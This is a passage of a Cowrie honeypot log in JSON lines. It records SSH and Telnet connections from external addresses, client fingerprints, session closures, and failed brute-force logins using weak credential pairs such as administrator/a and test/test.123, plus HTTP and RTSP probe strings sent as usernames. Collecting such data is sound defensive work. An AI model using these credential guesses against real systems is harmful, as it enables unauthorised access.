{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":50850,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6cd8c13066","protocol":"ssh","message":"New connection: 1.235.192.214:50850 (10.17.0.5:22) [session: 6f6cd8c13066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:17.915672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:17.920624Z","src_ip":"1.235.192.214","session":"6f6cd8c13066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:18.102385Z","src_ip":"1.235.192.214","session":"6f6cd8c13066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"a","message":"login attempt [administrator/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:18.860126Z","src_ip":"1.235.192.214","session":"6f6cd8c13066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05052185058594,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:19.911355Z","src_ip":"64.227.9.242","session":"c94a457d74e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:20.044718Z","src_ip":"1.235.192.214","session":"6f6cd8c13066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.5092294216156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:23.054448Z","src_ip":"64.227.9.242","session":"e726636f07c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":41594,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b73c942185","protocol":"ssh","message":"New connection: 103.129.221.202:41594 (10.17.0.5:22) [session: 06b73c942185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:24.962124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:24.968267Z","src_ip":"103.129.221.202","session":"06b73c942185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:25.232035Z","src_ip":"103.129.221.202","session":"06b73c942185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.123","message":"login attempt [test/test.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:26.262314Z","src_ip":"103.129.221.202","session":"06b73c942185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":43176,"dst_ip":"10.17.0.5","dst_port":22,"session":"e605e84c9a64","protocol":"ssh","message":"New connection: 198.58.117.211:43176 (10.17.0.5:22) [session: e605e84c9a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:27.284425Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":47858,"dst_ip":"10.17.0.5","dst_port":23,"session":"245a22561cb6","protocol":"telnet","message":"New connection: 198.58.117.211:47858 (10.17.0.5:23) [session: 245a22561cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:27.310630Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:27.332747Z","src_ip":"198.58.117.211","session":"e605e84c9a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:27.514028Z","src_ip":"103.129.221.202","session":"06b73c942185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35772,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ecf66ed4c9","protocol":"telnet","message":"New connection: 64.227.9.242:35772 (159.203.135.109:23) [session: 36ecf66ed4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:31.135190Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"494d4aebd718","protocol":"telnet","message":"New connection: 64.227.9.242:37332 (159.203.135.109:23) [session: 494d4aebd718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:32.589136Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:33.314633Z","src_ip":"198.58.117.211","session":"245a22561cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65793800354004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:36.475621Z","src_ip":"64.227.9.242","session":"82455f94eaa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41984,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1563ee77347","protocol":"telnet","message":"New connection: 64.227.9.242:41984 (159.203.135.109:23) [session: f1563ee77347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:36.625693Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41728,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7197a68f328","protocol":"telnet","message":"New connection: 64.227.9.242:41728 (159.203.135.109:23) [session: a7197a68f328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:37.444385Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":46206,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c093a31b370","protocol":"ssh","message":"New connection: 112.217.199.222:46206 (10.17.0.5:22) [session: 7c093a31b370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:37.793635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:37.799118Z","src_ip":"112.217.199.222","session":"7c093a31b370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:38.012228Z","src_ip":"112.217.199.222","session":"7c093a31b370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.0096595287323,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:38.320226Z","src_ip":"198.58.117.211","session":"245a22561cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":60276,"dst_ip":"10.17.0.5","dst_port":23,"session":"644b273807d7","protocol":"telnet","message":"New connection: 198.58.117.211:60276 (10.17.0.5:23) [session: 644b273807d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:38.363538Z"}
{"eventid":"cowrie.login.failed","username":"user_1","password":"user_1","message":"login attempt [user_1/user_1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:38.889944Z","src_ip":"112.217.199.222","session":"7c093a31b370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:40.105294Z","src_ip":"112.217.199.222","session":"7c093a31b370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33401322364807,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:40.178657Z","src_ip":"64.227.9.242","session":"867e79a2a9fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":48008,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8350a1ef86d","protocol":"telnet","message":"New connection: 64.227.9.242:48008 (159.203.135.109:23) [session: c8350a1ef86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:42.033274Z"}
{"eventid":"cowrie.session.closed","duration":5.002275466918945,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:43.365577Z","src_ip":"198.58.117.211","session":"644b273807d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1074c017e7b","protocol":"telnet","message":"New connection: 198.58.117.211:60362 (10.17.0.5:23) [session: a1074c017e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:43.407141Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"","message":"login attempt [GET / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:43.413654Z","src_ip":"198.58.117.211","session":"a1074c017e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.004071950912476,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:48.411058Z","src_ip":"198.58.117.211","session":"a1074c017e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":46236,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48e4011e69d","protocol":"telnet","message":"New connection: 198.58.117.211:46236 (10.17.0.5:23) [session: d48e4011e69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:48.454181Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / HTTP/1.0","password":"","message":"login attempt [OPTIONS / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:48.459971Z","src_ip":"198.58.117.211","session":"d48e4011e69d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72389626502991,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:51.872455Z","src_ip":"69.65.3.189","session":"255f11f63ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.001293420791626,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:53.455328Z","src_ip":"198.58.117.211","session":"d48e4011e69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":46340,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e995d97e0b2","protocol":"telnet","message":"New connection: 198.58.117.211:46340 (10.17.0.5:23) [session: 6e995d97e0b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:53.495445Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / RTSP/1.0","password":"","message":"login attempt [OPTIONS / RTSP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:53.500852Z","src_ip":"198.58.117.211","session":"6e995d97e0b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.75626993179321,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:56.157084Z","src_ip":"188.208.141.113","session":"928f63c74b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39736,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e988dcb3b6b","protocol":"telnet","message":"New connection: 64.227.9.242:39736 (159.203.135.109:23) [session: 1e988dcb3b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:57.816725Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40048,"dst_ip":"159.203.135.109","dst_port":23,"session":"710db2b74908","protocol":"telnet","message":"New connection: 64.227.9.242:40048 (159.203.135.109:23) [session: 710db2b74908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:58.115662Z"}
{"eventid":"cowrie.session.closed","duration":5.0046303272247314,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:58.499978Z","src_ip":"198.58.117.211","session":"6e995d97e0b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36338,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb14ff8d0b8","protocol":"telnet","message":"New connection: 198.58.117.211:36338 (10.17.0.5:23) [session: deb14ff8d0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:58.543423Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"06dc97e3899d","protocol":"telnet","message":"New connection: 64.227.9.242:42552 (159.203.135.109:23) [session: 06dc97e3899d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:00.139086Z"}
{"eventid":"cowrie.session.closed","duration":5.00208306312561,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:03.545376Z","src_ip":"198.58.117.211","session":"deb14ff8d0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36420,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a52c042db9","protocol":"telnet","message":"New connection: 198.58.117.211:36420 (10.17.0.5:23) [session: e8a52c042db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:03.586977Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50554,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cba37a64afc","protocol":"telnet","message":"New connection: 64.227.9.242:50554 (159.203.135.109:23) [session: 8cba37a64afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:06.794568Z"}
{"eventid":"cowrie.session.closed","duration":5.004318475723267,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:08.591150Z","src_ip":"198.58.117.211","session":"e8a52c042db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"22fbf253bc17","protocol":"telnet","message":"New connection: 198.58.117.211:45096 (10.17.0.5:23) [session: 22fbf253bc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:08.627132Z"}
{"eventid":"cowrie.session.closed","duration":37.60973381996155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:08.744783Z","src_ip":"64.227.9.242","session":"36ecf66ed4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13332438468933,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:09.722369Z","src_ip":"64.227.9.242","session":"494d4aebd718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56692,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1e6cf23864","protocol":"telnet","message":"New connection: 64.227.9.242:56692 (159.203.135.109:23) [session: 9e1e6cf23864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:11.579042Z"}
{"eventid":"cowrie.session.closed","duration":34.7604341506958,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:12.204700Z","src_ip":"64.227.9.242","session":"a7197a68f328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.95353555679321,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:12.579138Z","src_ip":"64.227.9.242","session":"f1563ee77347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.004441499710083,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:13.631430Z","src_ip":"198.58.117.211","session":"22fbf253bc17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":45154,"dst_ip":"10.17.0.5","dst_port":23,"session":"a73bba08be39","protocol":"telnet","message":"New connection: 198.58.117.211:45154 (10.17.0.5:23) [session: a73bba08be39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:13.673964Z"}
{"eventid":"cowrie.session.closed","duration":33.56252145767212,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:15.593739Z","src_ip":"64.227.9.242","session":"c8350a1ef86d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34924,"dst_ip":"159.203.135.109","dst_port":23,"session":"247d644eed5b","protocol":"telnet","message":"New connection: 64.227.9.242:34924 (159.203.135.109:23) [session: 247d644eed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:16.475415Z"}
{"eventid":"cowrie.session.closed","duration":7.502275228500366,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:21.176108Z","src_ip":"198.58.117.211","session":"a73bba08be39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":55400,"dst_ip":"10.17.0.5","dst_port":23,"session":"0004ce90ad8c","protocol":"telnet","message":"New connection: 198.58.117.211:55400 (10.17.0.5:23) [session: 0004ce90ad8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:21.215537Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"5962bc222d17","protocol":"telnet","message":"New connection: 64.227.9.242:42110 (159.203.135.109:23) [session: 5962bc222d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:22.013919Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":37364,"dst_ip":"10.17.0.5","dst_port":22,"session":"c614dbf2bc3f","protocol":"ssh","message":"New connection: 1.235.192.214:37364 (10.17.0.5:22) [session: c614dbf2bc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:22.898230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:16:22.903973Z","src_ip":"1.235.192.214","session":"c614dbf2bc3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sh